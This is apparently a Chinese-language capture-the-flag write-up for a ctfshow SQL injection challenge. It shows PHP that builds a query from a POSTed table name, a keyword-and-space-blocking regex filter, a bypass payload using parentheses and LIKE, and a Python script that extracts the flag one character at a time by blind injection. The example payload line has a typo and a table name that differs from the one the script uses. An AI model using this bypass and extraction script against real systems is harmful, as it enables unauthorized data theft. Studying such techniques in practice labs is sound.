源码分析

  1. 查询语句

    1. //拼接sql语句查找指定ID用户
    2. $sql = "select count(pass) from ".$_POST['tableName'].";";
  2. WAF过滤了空格select and 这些 几乎都过了

    1. //对传入的参数进行了过滤
    2. function waf($str){
    3. return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
    4. }
  3. 返回结果

    1. //返回用户表的记录总数
    2. $user_count = 22;

    解题

  4. 这里假设我们已经知道表名是ctfshow_user,那么我们可以控制where语句来控制count的值

  5. 构造payload

    1. select count(pass) form (ctfshow)where(pass)like'ctfshow{%'
    2. //来进行模糊查询 因为我们已经知道ctfshow的flag开头是ctfshow了
  6. 一个个测是不可能的 直接上脚本

    1. import requests
    2. url = "http://15cdb31b-5ef3-49e2-8049-aabbc1755ec1.challenge.ctf.show/select-waf.php"
    3. flag = "ctfshow{"
    4. dictionary = "0123456789abcdefghijklmnopqrstuvwxyz}-"
    5. for i in range(0,100):
    6. for j in dictionary:
    7. data = {
    8. "tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
    9. }
    10. response = requests.post(url,data=data)
    11. if "$user_count = 1;" in response.text:
    12. flag = flag + j
    13. print(flag)
    14. if j == '}':
    15. print(flag)
    16. exit()
    17. else:
    18. pass
    19. break